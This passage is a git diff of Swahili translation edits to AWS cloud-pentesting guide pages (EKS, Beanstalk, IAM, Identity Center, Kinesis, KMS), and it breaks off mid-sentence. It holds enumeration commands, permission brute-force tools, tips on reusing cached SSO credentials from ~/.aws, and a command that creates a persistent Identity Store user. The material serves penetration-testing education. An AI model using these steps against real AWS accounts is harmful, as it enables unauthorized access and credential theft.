-8,10 +8,10 @@ Amazon Elastic Kubernetes Service (Amazon EKS) imeundwa ili kuondoa hitaji la wa Vipengele muhimu vya Amazon EKS ni pamoja na: -1. **Mpango wa Kudhibiti Kubernetes uliopewa Usimamizi**: Amazon EKS inafanya kazi za muhimu kama vile kusasisha, kutoa nodi, na masasisho. -2. **Ushirikiano na Huduma za AWS**: Inatoa ushirikiano usio na mshono na huduma za AWS za kompyuta, uhifadhi, hifadhidata, na usalama. -3. **Uwezo wa Kupanuka na Usalama**: Amazon EKS imeundwa kuwa na upatikanaji wa juu na salama, ikitoa vipengele kama vile kupanuka kiotomatiki na kutengwa kwa muundo. -4. **Ulinganifu na Kubernetes**: Programu zinazotembea kwenye Amazon EKS zina ulinganifu kamili na programu zinazotembea kwenye mazingira yoyote ya kawaida ya Kubernetes. +1. **Managed Kubernetes Control Plane**: Amazon EKS inafanya kazi za muhimu kama vile kusasisha, kutoa nodi, na masasisho. +2. **Integration with AWS Services**: Inatoa uunganisho usio na mshono na huduma za AWS za kompyuta, uhifadhi, hifadhidata, na usalama. +3. **Scalability and Security**: Amazon EKS imeundwa kuwa na upatikanaji wa juu na salama, ikitoa vipengele kama vile kupanuka kiotomatiki na kutengwa kwa muundo. +4. **Compatibility with Kubernetes**: Programu zinazotembea kwenye Amazon EKS zina ulinganifu kamili na programu zinazotembea kwenye mazingira yoyote ya kawaida ya Kubernetes. #### Enumeration ```bash @@ -31,7 +31,7 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` -#### Baada ya Ukatili +#### Baada ya Kutekeleza {{#ref}} ../aws-post-exploitation/aws-eks-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 996bb76e0..178b394fc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -6,7 +6,7 @@ Amazon Elastic Beanstalk inatoa jukwaa rahisi kwa **kupeleka, kusimamia, na kupanua programu za wavuti na huduma**. Inasaidia lugha mbalimbali za programu na mifumo, kama Java, .NET, PHP, Node.js, Python, Ruby, na Go, pamoja na kontena za Docker. Huduma hii inafaa na seva zinazotumika sana ikiwa ni pamoja na Apache, Nginx, Passenger, na IIS. -Elastic Beanstalk inatoa njia rahisi na inayoweza kubadilika ya **kupeleka programu zako kwenye wingu la AWS**, bila haja ya kuwa na wasiwasi kuhusu miundombinu ya msingi. Inashughulikia **kiotomatiki** maelezo ya **ugawaji** wa uwezo, **usawa wa mzigo**, **kupanua**, na **uangalizi wa afya** ya programu, ikikuruhusu uelekeze nguvu zako katika kuandika na kupeleka msimbo wako. +Elastic Beanstalk inatoa njia rahisi na inayoweza kubadilika ya **kupeleka programu zako kwenye wingu la AWS**, bila haja ya kuwa na wasiwasi kuhusu miundombinu ya msingi. Inashughulikia kwa **otomatiki** maelezo ya **ugawaji** wa uwezo, **usawa wa mzigo**, **kupanua**, na **uangalizi wa afya** ya programu, ikikuruhusu uelekeze nguvu zako katika kuandika na kupeleka msimbo wako. Miundombinu inayoundwa na Elastic Beanstalk inasimamiwa na **Autoscaling** Groups katika **EC2** (ikiwa na usawa wa mzigo). Hii inamaanisha kwamba mwishoni mwa siku, ikiwa **utavunja mwenyeji**, unapaswa kujua kuhusu EC2: @@ -33,7 +33,7 @@ Katika AWS Elastic Beanstalk, dhana za "programu" na "mazingira" zina huduma tof #### Mazingira - Mazingira ni **kigezo kilichopangwa cha programu yako** kinachofanya kazi kwenye miundombinu ya AWS. Hapa ndipo **msimbo wa programu yako unapopelekwa na kutekelezwa**. Elastic Beanstalk inatoa rasilimali zinazohitajika (k.m., EC2 instances, load balancers, auto-scaling groups, databases) kulingana na usanidi wa mazingira. -- **Kila mazingira inafanya kazi na toleo moja la programu yako**, na unaweza kuwa na mazingira mengi kwa madhumuni tofauti, kama vile maendeleo, majaribio, hatua, na uzalishaji. +- **Kila mazingira inafanya kazi toleo moja la programu yako**, na unaweza kuwa na mazingira mengi kwa madhumuni tofauti, kama vile maendeleo, majaribio, hatua, na uzalishaji. - Unapounda mazingira, unachagua jukwaa (k.m., Java, .NET, Node.js, nk.) na aina ya mazingira (k.m., seva ya wavuti au mfanyakazi). Unaweza pia kubadilisha usanidi wa mazingira ili kudhibiti vipengele mbalimbali vya miundombinu na mipangilio ya programu. ### Aina 2 za Mazingira @@ -47,9 +47,9 @@ Unapounda App katika Beanstalk kuna chaguzi 3 muhimu sana za usalama za kuchagua - **EC2 key pair**: Hii itakuwa **funguo ya SSH** ambayo itakuwa na uwezo wa kufikia EC2 instances zinazofanya kazi programu - **IAM instance profile**: Hii ni **profaili ya instance** ambayo instances zitakuwa nayo (**IAM privileges**) -- Jukumu lililotengenezwa kiotomatiki linaitwa **`aws-elasticbeanstalk-ec2-role`** na lina ufikiaji wa kuvutia juu ya ECS yote, SQS yote, DynamoDB elasticbeanstalk na elasticbeanstalk S3 kwa kutumia sera zinazodhibitiwa na AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- Jukumu lililotengenezwa kiotomatiki linaitwa **`aws-elasticbeanstalk-ec2-role`** na lina ufikiaji wa kuvutia juu ya ECS yote, SQS yote, DynamoDB elasticbeanstalk na elasticbeanstalk S3 kwa kutumia sera za usimamizi wa AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). - **Service role**: Hii ni **jukumu ambalo huduma ya AWS** itatumia kutekeleza vitendo vyote vinavyohitajika. Kwa ufahamu wangu, mtumiaji wa kawaida wa AWS hawezi kufikia jukumu hilo. -- Jukumu hili lililotengenezwa na AWS linaitwa **`aws-elasticbeanstalk-service-role`** na linatumia sera zinazodhibitiwa na AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) na [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- Jukumu hili lililotengenezwa na AWS linaitwa **`aws-elasticbeanstalk-service-role`** na linatumia sera za usimamizi za AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) na [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) Kwa kawaida **metadata version 1 imezimwa**: @@ -57,12 +57,12 @@ Kwa kawaida **metadata version 1 imezimwa**: ### Ufunuo -Data za Beanstalk zinahifadhiwa katika **S3 bucket** yenye jina lifuatalo: **`elasticbeanstalk--`**(ikiwa iliumbwa kwenye AWS console). Ndani ya bucket hii utaona **msimbo wa chanzo wa programu** iliyopakiwa. +Data za Beanstalk zinahifadhiwa katika **S3 bucket** yenye jina lifuatalo: **`elasticbeanstalk--`**(ikiwa iliumbwa kwenye AWS console). Ndani ya bucket hii utaona **msimbo wa chanzo wa programu** uliopakiwa. -**URL** ya tovuti iliyoundwa ni **`http://-env...elasticbeanstalk.com/`** +**URL** ya ukurasa wa wavuti ulioundwa ni **`http://-env...elasticbeanstalk.com/`** > [!WARNING] -> Ikiwa unapata **ufikiaji wa kusoma** juu ya bucket, unaweza **kusoma msimbo wa chanzo** na hata kupata **akili nyeti** juu yake +> Ikiwa unapata **ufikiaji wa kusoma** juu ya bucket, unaweza **kusoma msimbo wa chanzo** na hata kupata **akidi nyeti** juu yake > > ikiwa unapata **ufikiaji wa kuandika** juu ya bucket, unaweza **kubadilisha msimbo wa chanzo** ili **kuvunja** **IAM role** ambayo programu inatumia wakati inatekelezwa tena. @@ -102,7 +102,7 @@ aws elasticbeanstalk describe-events ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Baada ya Kutekeleza +### Baada ya Utekelezaji {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 6131f3c1d..7ad0b9fa8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,7 +4,7 @@ ## ElastiCache -AWS ElastiCache ni **huduma ya kuhifadhi data na cache katika muundo wa kumbukumbu** inayosimamiwa kikamilifu ambayo inatoa suluhisho zenye utendaji wa juu, ucheleweshaji mdogo, na zinazoweza kupanuliwa kwa programu. Inasaidia injini mbili maarufu za wazi za kumbukumbu: **Redis na Memcached**. ElastiCache **inasanifisha** **kuweka**, **usimamizi**, na **matengenezo** ya injini hizi, ikiruhusu waendelezaji kuhamasisha kazi zinazochukua muda kama vile upatikanaji, urekebishaji, ufuatiliaji, na **backups**. +AWS ElastiCache ni **huduma ya kuhifadhi data na cache inayosimamiwa kikamilifu** ambayo inatoa suluhisho zenye utendaji wa juu, ucheleweshaji mdogo, na zinazoweza kupanuliwa kwa programu. Inasaidia injini mbili maarufu za wazi za kuhifadhi data: **Redis na Memcached**. ElastiCache **inasanifisha** **kuanzisha**, **kusimamia**, na **kudumisha** injini hizi, ikiruhusu waendelezaji kuhamasisha kazi zinazochukua muda kama vile kutoa, kurekebisha, kufuatilia, na **hifadhi za akiba**. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index 84f92b6ac..a224d2063 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,33 +4,33 @@ ## EMR -Huduma ya Elastic MapReduce (EMR) ya AWS, kuanzia toleo 4.8.0, ilianzisha kipengele cha **mipangilio ya usalama** ambacho kinaboresha ulinzi wa data kwa kuruhusu watumiaji kuweka mipangilio ya usimbaji fiche kwa data iliyohifadhiwa na katika usafirishaji ndani ya vikundi vya EMR, ambavyo ni vikundi vinavyoweza kupanuliwa vya EC2 instances vilivyoundwa kushughulikia mifumo mikubwa ya data kama Apache Hadoop na Spark. +Huduma ya Elastic MapReduce (EMR) ya AWS, kuanzia toleo la 4.8.0, ilianzisha kipengele cha **mipangilio ya usalama** ambacho kinaboresha ulinzi wa data kwa kuruhusu watumiaji kuweka mipangilio ya usimbaji fiche kwa data iliyohifadhiwa na inayosafirishwa ndani ya vikundi vya EMR, ambavyo ni vikundi vinavyoweza kupanuliwa vya EC2 ambavyo vimeundwa kushughulikia mifumo mikubwa ya data kama Apache Hadoop na Spark. Sifa kuu ni pamoja na: - **Kiwango cha Usimbaji Fiche wa Kundi**: Kwa kawaida, data iliyohifadhiwa ndani ya kundi haijatumika usimbaji fiche. Hata hivyo, kuwezesha usimbaji fiche kunatoa ufikiaji wa vipengele kadhaa: - **Linux Unified Key Setup**: Inasimbisha kiasi cha EBS cha kundi. Watumiaji wanaweza kuchagua Huduma ya Usimamizi wa Funguo ya AWS (KMS) au mtoa funguo wa kawaida. - **Usimbaji Fiche wa HDFS wa Chanzo Huria**: Inatoa chaguzi mbili za usimbaji fiche kwa Hadoop: -- Usimbaji fiche wa Hadoop RPC (Remote Procedure Call), uliowekwa kwa faragha, ukitumia Safu ya Usalama wa Uthibitishaji Rahisi. -- Usimbaji fiche wa Uhamisho wa HDFS Block, uliowekwa kuwa kweli, unatumia algorithimu ya AES-256. -- **Usimbaji Fiche Katika Usafirishaji**: Inalenga kulinda data wakati wa usafirishaji. Chaguzi ni pamoja na: -- **Usimbaji Fiche wa Chanzo Huria wa Usalama wa Usafirishaji (TLS)**: Usimbaji fiche unaweza kuwezeshwa kwa kuchagua mtoa cheti: -- **PEM**: Inahitaji uundaji wa mikono na kuunganisha vyeti vya PEM katika faili ya zip, inayorejelewa kutoka kwenye S3 bucket. +- Usimbaji fiche wa Hadoop RPC (Remote Procedure Call), uliowekwa kwa faragha, ukitumia Safu ya Usalama ya Uthibitishaji Rahisi. +- Usimbaji fiche wa uhamisho wa HDFS Block, uliowekwa kuwa kweli, unatumia algorithm ya AES-256. +- **Usimbaji Fiche Wakati wa Usafirishaji**: Unalenga kulinda data wakati wa uhamisho. Chaguzi ni pamoja na: +- **Usalama wa Usafirishaji wa Chanzo Huria (TLS)**: Usimbaji fiche unaweza kuwezeshwa kwa kuchagua mtoa cheti: +- **PEM**: Inahitaji uundaji wa mikono na kufungia vyeti vya PEM katika faili ya zip, inayorejelewa kutoka kwenye S3 bucket. - **Kawaida**: Inahusisha kuongeza darasa la Java la kawaida kama mtoa cheti linalotoa vitu vya usimbaji fiche. -Mara tu mtoa cheti wa TLS anapounganishwa katika mipangilio ya usalama, vipengele vifuatavyo vya usimbaji fiche maalum ya programu vinaweza kuwezeshwa, vinavyotofautiana kulingana na toleo la EMR: +Mara tu mtoa cheti wa TLS anapounganishwa kwenye mipangilio ya usalama, vipengele vifuatavyo vya usimbaji fiche maalum ya programu vinaweza kuwezeshwa, vinavyotofautiana kulingana na toleo la EMR: - **Hadoop**: - Inaweza kupunguza kuchanganya kwa usimbaji fiche kwa kutumia TLS. -- Usimbaji fiche wa Hadoop RPC na Safu ya Usalama wa Uthibitishaji Rahisi na Uhamisho wa HDFS Block na AES-256 vinawezeshwa na usimbaji fiche wa data iliyohifadhiwa. +- Usimbaji fiche wa Hadoop RPC na Safu ya Usalama ya Uthibitishaji Rahisi na Uhamisho wa HDFS Block na AES-256 vinawezeshwa na usimbaji fiche wa data iliyohifadhiwa. - **Presto** (EMR toleo 5.6.0+): - Mawasiliano ya ndani kati ya nodi za Presto yameimarishwa kwa kutumia SSL na TLS. - **Tez Shuffle Handler**: - Inatumia TLS kwa usimbaji fiche. - **Spark**: - Inatumia TLS kwa itifaki ya Akka. -- Inatumia Safu ya Usalama wa Uthibitishaji Rahisi na 3DES kwa Huduma ya Uhamisho wa Block. -- Huduma ya kuchanganya ya nje imeimarishwa kwa Safu ya Usalama wa Uthibitishaji Rahisi. +- Inatumia Safu ya Usalama ya Uthibitishaji Rahisi na 3DES kwa Huduma ya Uhamisho wa Block. +- Huduma ya kuchanganya ya nje imeimarishwa kwa Safu ya Usalama ya Uthibitishaji Rahisi. Vipengele hivi kwa pamoja vinaboresha hali ya usalama ya vikundi vya EMR, hasa kuhusu ulinzi wa data wakati wa kuhifadhi na awamu za usafirishaji. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 7c08a028d..984d2b643 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -4,7 +4,7 @@ ## IAM -Unaweza kupata **maelezo ya IAM** katika: +You can find a **description of IAM** in: {{#ref}} ../aws-basic-information/ @@ -12,9 +12,9 @@ Unaweza kupata **maelezo ya IAM** katika: ### Enumeration -Ruhusa kuu zinazohitajika: +Main permissions needed: -- `iam:ListPolicies`, `iam:GetPolicy` na `iam:GetPolicyVersion` +- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion` - `iam:ListRoles` - `iam:ListUsers` - `iam:ListGroups` @@ -22,9 +22,9 @@ Ruhusa kuu zinazohitajika: - `iam:ListAttachedUserPolicies` - `iam:ListAttachedRolePolicies` - `iam:ListAttachedGroupPolicies` -- `iam:ListUserPolicies` na `iam:GetUserPolicy` -- `iam:ListGroupPolicies` na `iam:GetGroupPolicy` -- `iam:ListRolePolicies` na `iam:GetRolePolicy` +- `iam:ListUserPolicies` and `iam:GetUserPolicy` +- `iam:ListGroupPolicies` and `iam:GetGroupPolicy` +- `iam:ListRolePolicies` and `iam:GetRolePolicy` ```bash # All IAMs ## Retrieves information about all IAM users, groups, roles, and policies @@ -90,7 +90,7 @@ aws iam list-virtual-mfa-devices ``` ### Permissions Brute Force -Ikiwa unavutiwa na ruhusa zako lakini huna ufikiaji wa kuuliza IAM unaweza kila wakati kuzishinikiza kwa nguvu. +Ikiwa unavutiwa na ruhusa zako lakini huna ufikiaji wa kuuliza IAM unaweza kila wakati kuzilazimisha. #### bf-aws-permissions @@ -108,7 +108,7 @@ python3 aws_permissions_checker.py --profile [--arn ] ``` #### Perms2ManagedPolicies -Ikiwa umepata **idhini fulani ambazo mtumiaji wako ana**, na unafikiri kwamba zinatolewa na **mwanachama wa AWS aliyepewa usimamizi** (na si wa kawaida). Unaweza kutumia chombo [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) kuangalia yote **mwanachama wa AWS aliyepewa usimamizi ambao unatoa idhini ulizogundua kuwa nazo**. +Ikiwa umepata **idhini fulani ambazo mtumiaji wako ana**, na unafikiri kwamba zinatolewa na **jukumu la AWS lililosimamiwa** (na si la kawaida). Unaweza kutumia chombo [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) kuangalia yote **majukumu ya AWS yaliyosimamiwa yanayotoa idhini ulizogundua kwamba una**. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt @@ -118,7 +118,7 @@ python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file exampl #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) ni chombo cha Python kinachochambua **maktaba ya AWS CloudTrail ili kutoa na kufupisha vitendo** vilivyofanywa na kila mtu au tu mtumiaji au jukumu maalum. Chombo kitachambua **kila maktaba ya cloudtrail kutoka kwenye bakuli lililoonyeshwa**. +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) ni zana ya Python inayochambua **maktaba za AWS CloudTrail ili kutoa na kufupisha vitendo** vilivyofanywa na kila mtu au mtumiaji au jukumu maalum tu. Zana hiyo it **ichambue kila maktaba ya cloudtrail kutoka kwenye bucket iliyoashiriwa**. ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM @@ -126,16 +126,16 @@ pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` > [!WARNING] -> Ikiwa unapata .tfstate (faili za hali za Terraform) au faili za CloudFormation (hizi mara nyingi ni faili za yaml zilizoko ndani ya bucket yenye kiambishi cf-templates), unaweza pia kuvisoma ili kupata usanidi wa aws na kujua ni ruhusa zipi zimepewa nani. +> Ikiwa unapata .tfstate (faili za hali za Terraform) au faili za CloudFormation (hizi kwa kawaida ni faili za yaml zilizoko ndani ya bucket yenye prefix cf-templates), unaweza pia kuvisoma ili kupata usanidi wa aws na kujua ni ruhusa zipi zimepewa nani. #### enumerate-iam -Ili kutumia chombo [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) unahitaji kwanza kupakua mwisho wote wa API AWS, kutoka kwa hizo skripti **`generate_bruteforce_tests.py`** itapata mwisho wote wa **"list\_", "describe\_", na "get\_"**. Na hatimaye, itajaribu **kuzipata** kwa kutumia akreditivu zilizotolewa na **kuonyesha kama ilifanya kazi**. +Ili kutumia chombo [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) kwanza unahitaji kupakua mwisho wote wa API AWS, kutoka kwa hizo skripti **`generate_bruteforce_tests.py`** itapata **"list\_", "describe\_", na "get\_" endpoints.** Na hatimaye, itajaribu **kuzipata** kwa kutumia akreditif zilizotolewa na **kuonyesha kama ilifanya kazi**. -(Katika uzoefu wangu **chombo kinakwama katika hatua fulani**, [**angalia marekebisho haya**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) kujaribu kurekebisha hilo). +(Katika uzoefu wangu **chombo kinakwama katika hatua fulani**, [**angalia suluhisho hili**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) kujaribu kutatua hilo). > [!WARNING] -> Katika uzoefu wangu chombo hiki ni kama kile cha awali lakini kinafanya kazi vibaya zaidi na kinachunguza ruhusa chache. +> Katika uzoefu wangu chombo hiki ni kama kile cha awali lakini kinafanya kazi vibaya zaidi na kinachunguza ruhusa chache zaidi. ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -154,7 +154,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess ``` #### weirdAAL -Unaweza pia kutumia chombo [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Chombo hiki kitakagua **operesheni kadhaa za kawaida kwenye huduma kadhaa za kawaida** (kitakagua baadhi ya ruhusa za kuorodhesha na pia baadhi ya ruhusa za privesc). Lakini kitakagua tu ukaguzi ulioandikwa (njia pekee ya kukagua mambo zaidi ni kuandika majaribio zaidi). +Unaweza pia kutumia chombo [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Chombo hiki kitakagua **operesheni kadhaa za kawaida kwenye huduma kadhaa za kawaida** (kitakagua baadhi ya ruhusa za kuorodhesha na pia baadhi ya ruhusa za privesc). Lakini kitakagua tu ukaguzi ulioandikwa (njia pekee ya kukagua vitu zaidi ni kuandika majaribio zaidi). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -208,9 +208,9 @@ steampipe dashboard #### \ -Hakuna kati ya zana zilizotangulia inayoweza kuangalia karibu ruhusa zote, hivyo kama unajua zana bora zaidi tuma PR! +Hakuna kati ya zana zilizopita zinazoweza kuangalia karibu na ruhusa zote, hivyo ikiwa unajua zana bora zaidi tuma PR! -### Upatikanaji Usioidhinishwa +### Ufikiaji Usio na Uthibitisho {{#ref}} ../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -257,7 +257,7 @@ sso_region = us-east-1 ``` ### Enumeration -Vitu vikuu vya Kituo cha Utambulisho ni: +Vipengele vikuu vya Kituo cha Utambulisho ni: - Watumiaji na vikundi - Seti za Ruhusa: Zina sera zilizounganishwa @@ -302,7 +302,7 @@ aws identitystore list-group-memberships-for-member --identity-store-id :role/ReadOnlyRole source_profile = Hacktricks-Admin ``` -Hii usanidi unaweza kutumika na amri: +Mkonfigu huu unaweza kutumika na amri: ```bash # Login in ms-sso-profile aws sso login --profile my-sso-profile # Use dependent-profile aws s3 ls --profile dependent-profile ``` -Wakati **profaili kutoka SSO inapotumika** kupata taarifa fulani, sifa za kuingia **zinahifadhiwa** katika faili ndani ya folda **`$HOME/.aws/sso/cache`**. Hivyo basi zinaweza **kusomwa na kutumika kutoka hapo**. +Wakati **profaili kutoka SSO inatumika** kupata taarifa fulani, akidi zina **hifadhiwa** katika faili ndani ya folda **`$HOME/.aws/sso/cache`**. Hivyo basi zinaweza **kusomwa na kutumika kutoka hapo**. -Zaidi ya hayo, **sifa zaidi** zinaweza kuhifadhiwa katika folda **`$HOME/.aws/cli/cache`**. Hii folda ya cache inatumika hasa unapokuwa **ukifanya kazi na AWS CLI profiles** ambazo zinatumia sifa za mtumiaji wa IAM au **kuchukua** majukumu kupitia IAM (bila SSO). Mfano wa usanidi: +Zaidi ya hayo, **akidi zaidi** zinaweza kuhifadhiwa katika folda **`$HOME/.aws/cli/cache`**. Hii folda ya cache inatumika hasa unapokuwa **ukifanya kazi na AWS CLI profiles** zinazotumia akidi za mtumiaji wa IAM au **kuchukua** majukumu kupitia IAM (bila SSO). Mfano wa usanidi: ```ini [profile crossaccountrole] role_arn = arn:aws:iam::234567890123:role/SomeRole @@ -337,7 +337,7 @@ source_profile = default mfa_serial = arn:aws:iam::123456789012:mfa/saanvi external_id = 123456 ``` -### Upatikanaji Usio na Uthibitisho +### Upatikanaji Usioidhinishwa {{#ref}} ../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -357,16 +357,16 @@ external_id = 123456 ### Kudumu -#### Unda mtumiaji na mpe ruhusa kwake +#### Unda mtumiaji na uweke ruhusa kwake ```bash # Create user identitystore:CreateUser aws identitystore create-user --identity-store-id --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password ``` -- Unda kundi na uweke ruhusa na uweke mtumiaji anayedhibitiwa +- Unda kundi na uweke ruhusa na kuweka mtumiaji anayedhibitiwa - Toa ruhusa za ziada kwa mtumiaji au kundi lililodhibitiwa -- Kwa default, ni watumiaji pekee wenye ruhusa kutoka Akaunti ya Usimamizi watakaoweza kufikia na kudhibiti Kituo cha Utambulisho wa IAM. +- Kwa kawaida, ni watumiaji pekee wenye ruhusa kutoka Akaunti ya Usimamizi watakaoweza kufikia na kudhibiti Kituo cha Utambulisho wa IAM. -Hata hivyo, inawezekana kupitia Msimamizi wa Wawakilishi kuruhusu watumiaji kutoka akaunti tofauti kuisimamia. Hawa hawataweza kuwa na ruhusa sawa, lakini wataweza kufanya [**shughuli za usimamizi**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). +Hata hivyo, inawezekana kupitia Msimamizi wa Delegated kuruhusu watumiaji kutoka akaunti tofauti kuisimamia. Hawa hawataweza kuwa na ruhusa sawa, lakini wataweza kufanya [**shughuli za usimamizi**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md index cfcad5c43..45e710cd4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md @@ -4,9 +4,9 @@ ## Kinesis Data Firehose -Amazon Kinesis Data Firehose ni **huduma inayosimamiwa kikamilifu** inayorahisisha utoaji wa **data ya mtiririko wa wakati halisi**. Inasaidia maeneo mbalimbali, ikiwa ni pamoja na Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, na mwisho wa HTTP wa kawaida. +Amazon Kinesis Data Firehose ni **huduma inayosimamiwa kikamilifu** inayorahisisha usambazaji wa **data za mtiririko wa wakati halisi**. Inasaidia maeneo mbalimbali, ikiwa ni pamoja na Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, na mwisho wa HTTP wa kawaida. -Huduma hii inapunguza hitaji la kuandika programu au kusimamia rasilimali kwa kuruhusu wazalishaji wa data kuwekewa mipangilio ya kupeleka data moja kwa moja kwa Kinesis Data Firehose. Huduma hii inawajibika kwa **utoaji wa kiotomatiki wa data kwa eneo lililowekwa**. Zaidi ya hayo, Kinesis Data Firehose inatoa chaguo la **kubadilisha data kabla ya utoaji wake**, ikiongeza kubadilika kwake na matumizi yake kwa matumizi mbalimbali. +Huduma hii inapunguza hitaji la kuandika programu au kusimamia rasilimali kwa kuruhusu wazalishaji wa data kuwekewa mipangilio ya kupeleka data moja kwa moja kwa Kinesis Data Firehose. Huduma hii inawajibika kwa **usambazaji wa kiotomatiki wa data kwa eneo lililowekwa**. Zaidi ya hayo, Kinesis Data Firehose inatoa chaguo la **kubadilisha data kabla ya usambazaji wake**, ikiongeza kubadilika kwake na matumizi yake katika matumizi mbalimbali. ### Enumeration ```bash @@ -36,7 +36,7 @@ aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVs aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json ``` -## Marejeleo +## Marejeo - [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md index dd94f12a6..616215fa9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md @@ -6,7 +6,7 @@ AWS Key Management Service (AWS KMS) inawasilishwa kama huduma inayosimamiwa, ikirahisisha mchakato kwa watumiaji ku **unda na kusimamia funguo za mteja** (CMKs). CMKs hizi ni muhimu katika usimbaji wa data za mtumiaji. Kipengele muhimu cha AWS KMS ni kwamba CMKs kwa kiasi kikubwa **zimehifadhiwa na moduli za usalama wa vifaa** (HSMs), zikiongeza 